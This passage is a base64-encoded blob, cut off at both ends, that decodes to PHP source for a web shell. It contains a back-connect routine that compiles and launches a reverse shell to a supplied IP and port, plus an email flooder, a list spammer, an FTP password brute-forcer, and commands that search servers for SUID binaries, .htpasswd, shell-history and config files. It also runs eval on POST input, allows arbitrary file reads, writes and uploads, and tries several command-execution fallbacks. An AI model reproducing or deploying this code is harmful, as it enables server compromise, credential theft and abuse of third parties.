0aG9kPT0nQyMnKQ0KICB7DQogICAgZnB1dHMoJGk9Zm9wZW4oJy90bXAvc2hsYmNrLmMnLCd3JyksYmFzZTY0X2RlY29kZSgkYykpOw0KICAgIGZjbG9zZSgkaSk7DQogICAgZXgoImdjYyBzaGxiY2suYyAtbyBzaGxiY2siKTsNCiAgICB1bmxpbmsoJ3NobGJjay5jJyk7DQogICAgZXgoIi90bXAvc2hsYmNrICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiAgICB1bmxpbmsoIi90bXAvc2hsYmNrIik7DQogICAgcmV0dXJuIGV4KCduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJyk7DQogIH1lbHNlDQogIHsNCiAgcmV0dXJuICdDaG9vc2UgbWV0aG9kJzsNCiAgfQ0KfQ0KDQppZigkX1BPU1RbJ3R5cGUnXT09MTEpe2Rvd25sb2FkKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKTt9Ow0KDQpmdW5jdGlvbiBkb3dubG9hZCgkZGZpbGVuYW1lKQ0Kew0KICAkZmlsZT1mb3BlbigkZGZpbGVuYW1lLCJyIik7DQogIG9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGRmaWxlbmFtZSk7DQogICAgJGZpbGVkdW1wID0gZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRkZmlsZW5hbWUpKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5cGUpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7ICAgDQogICAgZWNobyAkZmlsZWR1bXA7DQp9DQoNCmZ1bmN0aW9uIGZsb29kZXIoJGxvZ2YsJHRvLCRmcm9tLCRzdWJqZWN0LCRtc2csJGFtb3VudCwkY2hlY2spDQp7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCnNldF90aW1lX2xpbWl0KDApOw0KDQokZmwgPSBmb3BlbigkbG9nZiwgInciKTsNCiRjb3VudCA9IDA7DQppZighJGxvZ2Ypew0KcmV0dXJuICJGaWxsICdsb2dfZmlsZScgZmllbGQhIjsNCn1lbHNlaWYoISR0byl7DQpyZXR1cm4gIkZpbGwgJ1NlbmQgdG8nIGZpZWxkISI7DQp9ZWxzZWlmKCEkZnJvbSl7DQpyZXR1cm4gIkZpbGwgJ0Zyb20nIGZpZWxkISI7DQp9ZWxzZWlmKCEkc3ViamVjdCl7DQpyZXR1cm4gIkZpbGwgJ1N1YmplY3QnIGZpZWxkISI7DQp9ZWxzZWlmKCEkbXNnKXsNCnJldHVybiAiRmlsbCAnTWVzc2FnZScgZmllbGQhIjsNCn1lbHNlaWYoISRhbW91bnQpew0KcmV0dXJuICJGaWxsICdBbW91bnQnIGZpZWxkISI7DQp9ZWxzZXsNCiAgd2hpbGUoJGNvdW50IDwgJGFtb3VudCl7DQogICAgbWFpbCgiJHRvIiwgIiRzdWJqZWN0IiwgIiRtc2ciLCAiRnJvbTogJGZyb20iKTsNCiAgICAkY291bnQgPSAkY291bnQgKyAxOw0KICAgICRmbCA9IGZvcGVuKCRsb2dmLCAidyIpOw0KICAgIGZwdXRzKCRmbCwgIiRjb3VudCBmbG9vZC1sZXR0ZXJzIHdhcyBzZW5kZWQuLi4iKTsNCiAgICBmY2xvc2UoJGZsKTsgIA0KICB9DQogIGlmKHN0cmxlbigkY2hlY2spICE9IDApew0KICAgICRjaGVja190ZXh0ID0gIkRvbmUhICRjb3VudCBmbG9vZC1sZXR0ZXJzIHdhcyBzZW5kZWQhIjsNCiAgICAkY2hlY2tfc3ViID0gJ0NoZWNrJzsNCiAgICBtYWlsKCIkY2hlY2siLCAiJGNoZWNrX3N1YiIsICIkY2hlY2tfdGV4dCIsICJGcm9tOiAkZnJvbSIpOw0KICAgICRmbCA9IGZvcGVuKCRsb2dmLCAidyIpOw0KICAgIGZwdXRzKCRmbCwgIkRvbmUhICRjb3VudCBmbG9vZC1sZXR0ZXJzIHdhcyBzZW5kZWQhIik7DQogIH0NCiAgZWxzZXsNCiAgICAkZmwgPSBmb3BlbigkbG9nZiwgInciKTsNCiAgICBmcHV0cygkZmwsICJEb25lISAkY291bnQgZmxvb2QtbGV0dGVycyB3YXMgc2VuZGVkISIpOw0KICB9DQp9DQpmY2xvc2UoJGZsKTsNCn0NCg0KZnVuY3Rpb24gZnRwX2JydXRlKCRob3N0LCRmdHBfdXNlcnMsJGZ0cF9wYXNzd2QsJGZ0cF9sb2cpDQp7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCnNldF90aW1lX2xpbWl0KDApOw0KDQokZmwgPSBmb3BlbigkZnRwX3VzZXJzLCAiciIpOw0KJGZkID0gZm9wZW4oJGZ0cF9wYXNzd2QsICJyIik7DQokZnIgPSBmb3BlbigkZnRwX2xvZywgImErIik7DQppZighJGhvc3Qpew0KcmV0dXJuICJGaWxsICdIb3N0JyBmaWVsZCEiOw0KfWVsc2VpZighJGZ0cF91c2Vycyl7DQpyZXR1cm4gIkZpbGwgJ2Z0cF91c2VycyBmaWxlJyBmaWVsZCEiOw0KfWVsc2VpZighJGZ0cF9wYXNzd2Qpew0KcmV0dXJuICJGaWxsICdmdHBfcGFzc3dkIGZpbGUnIGZpZWxkISI7DQp9ZWxzZWlmKCEkZnRwX2xvZyl7DQpyZXR1cm4gIkZpbGwgJ2Z0cF9sb2cgZmlsZScgZmllbGQhIjsNCn1lbHNlaWYoIWZpbGVfZXhpc3RzKCRmdHBfdXNlcnMpKXsNCnJldHVybiAiRmlsZSAiLiRmdHBfdXNlcnMuIiBkb2Vzbid0IGV4aXN0cyEiOw0KfWVsc2VpZighZmlsZV9leGlzdHMoJGZ0cF9wYXNzd2QpKXsNCnJldHVybiAiRmlsZSAiLiRmdHBfcGFzc3dkLiIgZG9lc24ndCBleGlzdHMhIjsNCn0NCmVsc2V7DQogIHdoaWxlKCFmZW9mKCRmZCkpew0KICAgICAgICAgICRwYXNzID0gZmdldHMoJGZkKTsNCiAgICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRmbCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IGZnZXRzKCRmbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb25uZWN0ID0gZnRwX2Nvbm5lY3QoJGhvc3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJGNvbm5lY3Qpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmciwgIkVuYWJsZSBjb25uZWN0IHRvICRob3N0XG4iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aCA9IGZ0cF9sb2dpbigkY29ubmVjdCwgJHVzZXIsICRwYXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJGF1dGgpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnRwX3F1aXQoJGNvbm5lY3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnB1dHMoJGZyLCAiJGhvc3Q6XG4tLS0kbG9naW46JHBhc3Ncbi0tLSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnRwX3F1aXQoJGNvbm5lY3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIH0NCiAgfQ0KICBmcHV0cygkZnIsICJEb25lOlxuIik7DQogIGZjbG9zZSgkZnIpOw0KfQ0KZmNsb3NlKCRmbCk7DQpmY2xvc2UoJGZkKTsNCn0NCg0KZnVuY3Rpb24gc3BhbW1lcigkZnJvbSwkc3ViamVjdCwkbXNnLCRjaGVjaywkZWxpc3QsJGxvZ2YpDQp7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCnNldF90aW1lX2xpbWl0KDApOw0KDQokZnAgPSBmb3BlbigkZWxpc3QuICJyIik7DQokZmwgPSBmb3BlbigkbG9nZiwgInciKTsNCiRjb3VudCA9IDA7DQppZighJGZyb20pew0KcmV0dXJuICJGaWxsICdGcm9tJyBmaWVsZCEiOw0KfWVsc2VpZighJGVsaXN0KXsNCnJldHVybiAiRmlsbCAnRW1haWxzIGxpc3QnIGZpZWxkISI7DQp9ZWxzZWlmKCEkbG9nZil7DQpyZXR1cm4gIkZpbGwgJ0xvZyBGaWxlJyBmaWVsZCEiOw0KfWVsc2VpZighJG1zZyl7DQpyZXR1cm4gIkZpbGwgJ01lc3NhZ2UnIGZpZWxkISI7DQp9ZWxzZWlmKCEkc3ViamVjdCl7DQpyZXR1cm4gIkZpbGwgJ1N1YmplY3QnIGZpZWxkISI7DQp9ZWxzZWlmKCFmaWxlX2V4aXN0cygkZWxpc3QpKXsNCnJldHVybiAiRmlsZSAiLiRlbGlzdC4iIGRvZXNuJ3QgZXhpc3RzISI7DQp9ZWxzZXsNCiAgd2hpbGUoIWZlb2YoJGZwKSl7DQogICAgJHRvID0gZmdldHMoJGZwKTsNCiAgICBtYWlsKCIkdG8iLCAiJHN1YmplY3QiLCAiJG1zZyIsICJGcm9tOiAkZnJvbSIpOw0KICAgICRjb3VudCA9ICRjb3VudCArIDE7DQogICAgJGZsID0gZm9wZW4oJGxvZ2YsICJ3Iik7DQogICAgZnB1dHMoJGZsLCAiJGNvdW50IGxldHRlcnMgd2FzIHNlbmRlZC4uLiIpOw0KICAgIGZjbG9zZSgkZmwpOw0KICB9DQogIGlmKHN0cmxlbigkY2hlY2spICE9IDApew0KICAgICRjaGVja190ZXh0ID0gIkRvbmUhICRjb3VudCBsZXR0ZXJzIHdhcyBzZW5kZWQhIjsNCiAgICAkY2hlY2tfc3ViID0gJ0NoZWNrJzsNCiAgICBtYWlsKCIkY2hlY2siLCAiJGNoZWNrX3N1YiIsICIkY2hlY2tfdGV4dCIsICJGcm9tOiAkZnJvbSIpOw0KICAgICRmbCA9IGZvcGVuKCRsb2dmLCAidyIpOw0KICAgIGZwdXRzKCRmbCwgIkRvbmUhICRjb3VudCBsZXR0ZXJzIHdhcyBzZW5kZWQhXG4iKTsNCiAgfQ0KICBlbHNlew0KICAgICRmbCA9IGZvcGVuKCRsb2dmLCAidyIpOw0KICAgIGZwdXRzKCRmbCwgIkRvbmUhICRjb3VudCBsZXR0ZXJzIHdhcyBzZW5kZWQhIik7DQogIH0NCn0NCmZjbG9zZSgkZnApOw0KZmNsb3NlKCRmbCk7DQp9DQoNCmZ1bmN0aW9uIGFsaWFzKCRpbikNCnsNCmlmKCRpbj09ImZpbmQgYXBhaGNlIGNvbmZpZyBmaWxlIil7cmV0dXJuIGV4KCdmaW5kIC8gLXR5cGUgZiAtbmFtZSBodHRwZC5jb25mJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWNjZXNzX2xvZyBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLW5hbWUgYWNjZXNzX2xvZycpO30NCmVsc2VpZigkaW49PSJmaW5kIGVycm9yX2xvZyBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLW5hbWUgZXJyb3JfbG9nJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgc3VpZCBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycpO30NCmVsc2VpZigkaW49PSJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnKTt9DQplbHNlaWYoJGluPT0iZmluZCBzZ2lkIGZpbGVzIil7cmV0dXJuIGV4KCdmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIpe3JldHVybiBleCgnZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycpO30NCmVsc2VpZigkaW49PSJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIil7cmV0dXJuIGV4KCdmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcpO30NCmVsc2VpZigkaW49PSJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcpO30NCmVsc2VpZigkaW49PSJmaW5kIGNvbmZpZyogZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lICJjb25maWcqIicpO30NCmVsc2VpZigkaW49PSJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtdHlwZSBmIC1uYW1lICJjb25maWcqIicpO30NCmVsc2VpZigkaW49PSJmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLXBlcm0gLTIgLWxzJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtcGVybSAtMiAtbHMnKTt9DQplbHNlaWYoJGluPT0iZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBkIC1wZXJtIC0yIC1scycpO30NCmVsc2VpZigkaW49PSJmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBpbiBjdXJyZW50IGRpciIpe3JldHVybiBleCgnZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGFuZCBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC1wZXJtIC0yIC1scycpO30NCmVsc2VpZigkaW49PSJmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtcGVybSAtMiAtbHMnKTt9DQplbHNlaWYoJGluPT0iZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnKTt9DQplbHNlaWYoJGluPT0iZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScpO30NCmVsc2VpZigkaW49PSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknKTt9DQplbHNlaWYoJGluPT0iZmluZCBhbGwgLm15c3FsX2hpc3RvcnkgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5Jyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgLm15c3FsX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5Jyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnKTt9DQplbHNlaWYoJGluPT0ibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iKXtyZXR1cm4gZXgoJ2xzYXR0ciAtdmEnKTt9DQplbHNlaWYoJGluPT0ic2hvdyBvcGVuZWQgcG9ydHMiKXtyZXR1cm4gZXgoJ25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4nKTt9DQplbHNlaWYoJGluPT0iLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIil7cmV0dXJuIGV4KCdscyAtbGEnKTt9DQp9DQoNCmZ1bmN0aW9uIHRlc3RwZXJsKCkNCnsNCiAgaWYoZXgoJ3BlcmwgLWgnKSkNCiAgew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQogIH1lbHNlew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCiAgfQ0KfQ0KDQpmdW5jdGlvbiB0ZXN0bHlueCgpDQp7DQogIGlmKGV4KCdseW54IC0taGVscCcpKQ0KICB7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsNCiAgfWVsc2V7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KICB9DQp9DQoNCg0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICIgTUIiO30NCiBlbHNlaWYoJHNpemUgPj0gMTAyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAiIEtCIjt9DQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KIHJldHVybiAkc2l6ZTsNCn0NCg0KZnVuY3Rpb24gdGVzdGZldGNoKCkNCnsNCiAgaWYoZXgoJ2ZldGNoIC0taGVscCcpKQ0KICB7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsNCiAgfWVsc2V7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KICB9DQp9DQoNCmZ1bmN0aW9uIHRlc3R3Z2V0KCkNCnsNCiAgaWYoZXgoJ3dnZXQgLS1oZWxwJykpDQogIHsNCiAgICByZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOw0KICB9ZWxzZXsNCiAgICByZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQogIH0NCn0NCg0KZnVuY3Rpb24gb3JhY2xlKCkNCnsNCiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKQ0KICB7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsNCiAgfWVsc2V7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KICB9DQp9DQoNCmZ1bmN0aW9uIHBvc3RncmVzcWwoKQ0Kew0KICBpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCiAgew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQogIH1lbHNlew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCiAgfQ0KfQ0KDQpmdW5jdGlvbiB0ZXN0bXNzcWwoKQ0Kew0KICBpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkNCiAgew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQogIH1lbHNlew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCiAgfQ0KfQ0KZnVuY3Rpb24gdGVzdGN1cmwoKQ0Kew0KICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQ0KICB7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsNCiAgfWVsc2V7DQogICAgcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KICB9DQp9DQpmdW5jdGlvbiB0ZXN0bXlzcWwoKQ0Kew0KICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkNCiAgew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQogIH1lbHNlew0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCiAgfQ0KfQ0KZnVuY3Rpb24gc2FmZV9tb2RlKCkNCnsNCmlmKCEkc2FmZV9tb2RlICYmIHN0cnBvcyhleCgiZWNobyBhYmNoMGxkIiksImgwbGQiKSE9MykNCiAgew0KICAgICRfU0VTU0lPTlsnc2FmZV9tb2RlJ10gPSAxOw0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQogIH1lbHNlew0KICAgICRfU0VTU0lPTlsnc2FmZV9tb2RlJ10gPSAwOw0KICAgIHJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCiAgfQ0KfTsNCg0KZnVuY3Rpb24gZXgoJGluKQ0Kew0KJG91dCA9ICcnOw0KDQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICB7DQogICAgZXhlYygkaW4sJG91dCk7DQogICAgJG91dCA9IGpvaW4oIlxuIiwkb3V0KTsNCiAgfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgew0KICAgIG9iX3N0YXJ0KCk7DQogICAgcGFzc3RocnUoJGluKTsNCiAgICAkb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgb2JfZW5kX2NsZWFuKCk7DQogIH0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQ0KICB7DQogICAgb2Jfc3RhcnQoKTsNCiAgICBzeXN0ZW0oJGluKTsNCiAgICAkb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgb2JfZW5kX2NsZWFuKCk7DQogIH0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCiAgew0KICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQogIH0NCmVsc2VpZihpc19yZXNvdXJjZSgkZiA9IHBvcGVuKCRpbiwiciIpKSkNCiAgew0KICAgJG91dCA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOyB9DQogICBwY2xvc2UoJGYpOw0KICB9DQpyZXR1cm4gJG91dDsNCn0NCg0KZnVuY3Rpb24gc2hlbGwoKQ0Kew0KaWYoJF9QT1NUWyd0eXBlJ109PTEpDQogIHsgICANCiAgICBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKTsNCiAgfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT0yKQ0KICB7DQogICAgcHdkKCk7DQogICAgcHJpbnRfcihleChzdHJpcHNsYXNoZXMoJF9QT1NUWyd2YWx1ZSddKSkpOw0KICB9DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTMpDQogIHsNCiAgICBpZigkX1NFU1NJT05bJ3NhZmVfbW9kZSddID09IDEpew0KICAgIGlmKCgkdT1zYWZlX2V4KCdscyAtbGEnKSkhPScnKQ0KICAgIHtyZXR1cm4gJHU7fWVsc2V7cmV0dXJuIHNhZmVfZXgoJ2RpcicpO307DQogICAgDQogICAgfWVsc2V7DQogICAgaWYoKCR1PWV4KCdscyAtbGEnKSkhPScnKQ0KICAgIHtyZXR1cm4gJHU7fWVsc2V7cmV0dXJuIGV4KCdkaXInKTt9Ow0KICAgIH0NCiAgfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT00KQ0KICB7DQogICAgaWYoZmlsZV9leGlzdHMoc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpKQ0KICAgICAgew0KICAgICAgICBpZigkc2FmZV9tb2RlIT0xKXsNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGZyZWFkKGZvcGVuKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pLCJydyIpLGZpbGVzaXplKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKSkpOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKHNhZmVfcmVhZChzdHJpcHNsYXNoZXMoJF9QT1NUWyd2YWx1ZSddKSkpOw0KICAgICAgICB9Ow0KICAgICAgICAkX1NFU1NJT05bJ2VkaXQnXT0xOw0KICAgICAgICAkX1NFU1NJT05bJ2ZpbGVuYW1lJ10gPSAkX1BPU1RbJ3ZhbHVlJ107DQogICAgICB9ZWxzZXsNCiAgICAgICAgcmV0dXJuICdGaWxlIGRvZXNuXCd0IGV4aXN0cyEnOw0KICAgICAgfQ0KICB9DQplbHNlaWYoJF9QT1NUWyd0eXBlJ109PTUpDQogIHsNCiAgICBmcHV0cyhmb3BlbigkX1NFU1NJT05bJ2ZpbGVuYW1lJ10sInciKSxzdHJpcHNsYXNoZXMoJF9QT1NUWyd2YWx1ZSddKSk7DQogIH0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09NikNCiAgew0KICAgICR1cGxvYWRkaXIgPSBwd2QoKTsNCiAgICBpZighJG5hbWU9JF9QT1NUWyduZXduYW1lJ10peyRuYW1lID0gJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddO307DQogICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sICR1cGxvYWRkaXIuJG5hbWUpOyAgDQogIH0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09NykNCiAgew0KICAgIGVjaG8gYWxpYXMoJF9QT1NUWyd2YWx1ZSddKTsNCiAgfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT04KQ0KICB7DQogICAgZWNobyBzcGFtbWVyKHN0cmlwc2xhc2hlcygkX1BPU1RbJ2Zyb20nXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnc3ViamVjdCddKSxzdHJpcHNsYXNoZXMoJF9QT1NUWydtc2cnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnY2hlY2snXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnZWxpc3QnXSksc3RyaXBzbGFzaGVzKCRfUE9TVFsnbG9nZiddKSk7DQogIH0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09OSkNCiAgew0KICAgIGVjaG8gZnRwX2JydXRlKHN0cmlwc2xhc2hlcygkX1BPU1RbJ2hvc3Qn